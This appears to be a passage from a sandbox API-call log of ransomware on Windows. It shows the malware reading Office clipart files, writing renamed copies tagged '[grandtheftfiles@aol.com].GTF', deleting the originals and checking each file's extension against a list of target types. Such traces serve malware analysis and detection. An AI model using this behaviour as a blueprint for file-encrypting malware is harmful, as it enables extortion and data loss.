	[0088.786] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1400) returned 1
	[0088.786] CloseHandle (hObject=0x378) returned 1
	[0088.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x220
	[0088.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.786] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.786] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.786] GetLastError () returned 0x0
	[0088.786] ReadFile (in: hFile=0x378, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x578, lpOverlapped=0x0) returned 1
	[0088.793] WriteFile (in: hFile=0x35c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x580, lpOverlapped=0x0) returned 1
	[0088.794] ReadFile (in: hFile=0x378, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.794] WriteFile (in: hFile=0x35c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.794] SetEndOfFile (hFile=0x35c) returned 1
	[0088.794] CloseHandle (hObject=0x35c) returned 1
	[0088.794] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.794] SetEndOfFile (hFile=0x378) returned 1
	[0088.795] CloseHandle (hObject=0x378) returned 1
	[0088.795] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.795] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 1
	[0088.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0088.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0088.992] lstrlenW (lpString=".doc") returned 4
	[0088.992] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.992] lstrlenW (lpString=".docx") returned 5
	[0088.992] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.000] lstrlenW (lpString=".pdf") returned 4
	[0089.000] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.000] lstrlenW (lpString=".xls") returned 4
	[0089.000] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.000] lstrlenW (lpString=".xlsx") returned 5
	[0089.000] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.007] lstrlenW (lpString=".ppt") returned 4
	[0089.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0089.007] lstrlenW (lpString=".zip") returned 4
	[0089.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.007] lstrlenW (lpString=".rar") returned 4
	[0089.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.007] lstrlenW (lpString=".bz2") returned 4
	[0089.014] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.014] lstrlenW (lpString=".7z") returned 3
	[0089.014] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0089.014] lstrlenW (lpString=".dbf") returned 4
	[0089.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0089.022] lstrlenW (lpString=".1cd") returned 4
	[0089.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0089.022] lstrlenW (lpString=".jpg") returned 4
	[0089.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0089.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0089.027] lstrlenW (lpString=".doc") returned 4
	[0089.027] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.027] lstrlenW (lpString=".docx") returned 5
	[0089.027] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.027] lstrlenW (lpString=".pdf") returned 4
	[0089.027] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.027] lstrlenW (lpString=".xls") returned 4
	[0089.027] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.027] lstrlenW (lpString=".xlsx") returned 5
	[0089.027] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.027] lstrlenW (lpString=".ppt") returned 4
	[0089.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0089.027] lstrlenW (lpString=".zip") returned 4
	[0089.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.027] lstrlenW (lpString=".rar") returned 4
	[0089.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.028] lstrlenW (lpString=".bz2") returned 4
	[0089.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.028] lstrlenW (lpString=".7z") returned 3
	[0089.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0089.028] lstrlenW (lpString=".dbf") returned 4
	[0089.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0089.028] lstrlenW (lpString=".1cd") returned 4
	[0089.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0089.028] lstrlenW (lpString=".jpg") returned 4
	[0089.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.028] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.028] lstrlenW (lpString="HH01013_.WMF") returned 12
	[0089.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.029] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=2848) returned 1
	[0089.029] CloseHandle (hObject=0x368) returned 1
	[0089.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x220
	[0089.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.029] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.029] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0089.030] GetLastError () returned 0x0
	[0089.030] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xb20, lpOverlapped=0x0) returned 1
	[0089.031] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xb30, lpOverlapped=0x0) returned 1
	[0089.036] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.036] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.036] SetEndOfFile (hFile=0x334) returned 1
	[0089.036] CloseHandle (hObject=0x334) returned 1
	[0089.036] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.036] SetEndOfFile (hFile=0x368) returned 1
	[0089.037] CloseHandle (hObject=0x368) returned 1
	[0089.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.037] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 1
	[0089.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0089.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0089.037] lstrlenW (lpString=".doc") returned 4
	[0089.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.038] lstrlenW (lpString=".docx") returned 5
	[0089.038] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.038] lstrlenW (lpString=".pdf") returned 4
	[0089.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.038] lstrlenW (lpString=".xls") returned 4
	[0089.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.038] lstrlenW (lpString=".xlsx") returned 5
	[0089.038] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.038] lstrlenW (lpString=".ppt") returned 4
	[0089.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0089.038] lstrlenW (lpString=".zip") returned 4
	[0089.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.038] lstrlenW (lpString=".rar") returned 4
	[0089.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.038] lstrlenW (lpString=".bz2") returned 4
	[0089.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.038] lstrlenW (lpString=".7z") returned 3
	[0089.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0089.038] lstrlenW (lpString=".dbf") returned 4
	[0089.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0089.038] lstrlenW (lpString=".1cd") returned 4
	[0089.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0089.038] lstrlenW (lpString=".jpg") returned 4
	[0089.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0089.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0089.038] lstrlenW (lpString=".doc") returned 4
	[0089.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.038] lstrlenW (lpString=".docx") returned 5
	[0089.038] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.038] lstrlenW (lpString=".pdf") returned 4
	[0089.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.039] lstrlenW (lpString=".xls") returned 4
	[0089.039] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.039] lstrlenW (lpString=".xlsx") returned 5
	[0089.039] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.039] lstrlenW (lpString=".ppt") returned 4
	[0089.039] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0089.039] lstrlenW (lpString=".zip") returned 4
	[0089.039] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.039] lstrlenW (lpString=".rar") returned 4
	[0089.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.039] lstrlenW (lpString=".bz2") returned 4
	[0089.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.039] lstrlenW (lpString=".7z") returned 3
	[0089.039] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0089.039] lstrlenW (lpString=".dbf") returned 4
	[0089.039] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0089.039] lstrlenW (lpString=".1cd") returned 4
	[0089.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0089.039] lstrlenW (lpString=".jpg") returned 4
	[0089.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.039] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.039] lstrlenW (lpString="HH01015_.WMF") returned 12
	[0089.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.040] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1148) returned 1
	[0089.040] CloseHandle (hObject=0x368) returned 1
	[0089.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x220
	[0089.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.040] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.040] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0089.040] GetLastError () returned 0x0
	[0089.040] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x47c, lpOverlapped=0x0) returned 1
	[0089.042] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x480, lpOverlapped=0x0) returned 1
	[0089.043] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.043] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.043] SetEndOfFile (hFile=0x334) returned 1
	[0089.043] CloseHandle (hObject=0x334) returned 1
	[0089.043] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.043] SetEndOfFile (hFile=0x368) returned 1
	[0089.044] CloseHandle (hObject=0x368) returned 1
	[0089.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 1
	[0089.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0089.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0089.045] lstrlenW (lpString=".doc") returned 4
	[0089.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.045] lstrlenW (lpString=".docx") returned 5
	[0089.045] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.045] lstrlenW (lpString=".pdf") returned 4
	[0089.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.045] lstrlenW (lpString=".xls") returned 4
	[0089.045] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.045] lstrlenW (lpString=".xlsx") returned 5
	[0089.045] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.045] lstrlenW (lpString=".ppt") returned 4
	[0089.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0089.045] lstrlenW (lpString=".zip") returned 4
	[0089.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.045] lstrlenW (lpString=".rar") returned 4
	[0089.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.045] lstrlenW (lpString=".bz2") returned 4
	[0089.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.045] lstrlenW (lpString=".7z") returned 3
	[0089.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0089.045] lstrlenW (lpString=".dbf") returned 4
	[0089.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0089.045] lstrlenW (lpString=".1cd") returned 4
	[0089.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0089.045] lstrlenW (lpString=".jpg") returned 4
	[0089.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0089.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0089.046] lstrlenW (lpString=".doc") returned 4
	[0089.046] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.046] lstrlenW (lpString=".docx") returned 5
	[0089.046] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.046] lstrlenW (lpString=".pdf") returned 4
	[0089.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.046] lstrlenW (lpString=".xls") returned 4
	[0089.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.046] lstrlenW (lpString=".xlsx") returned 5
	[0089.046] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.046] lstrlenW (lpString=".ppt") returned 4
	[0089.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0089.046] lstrlenW (lpString=".zip") returned 4
	[0089.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.046] lstrlenW (lpString=".rar") returned 4
	[0089.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.046] lstrlenW (lpString=".bz2") returned 4
	[0089.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.046] lstrlenW (lpString=".7z") returned 3
	[0089.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0089.046] lstrlenW (lpString=".dbf") returned 4
	[0089.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0089.046] lstrlenW (lpString=".1cd") returned 4
	[0089.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0089.046] lstrlenW (lpString=".jpg") returned 4
	[0089.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.047] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.047] lstrlenW (lpString="HH01058_.WMF") returned 12
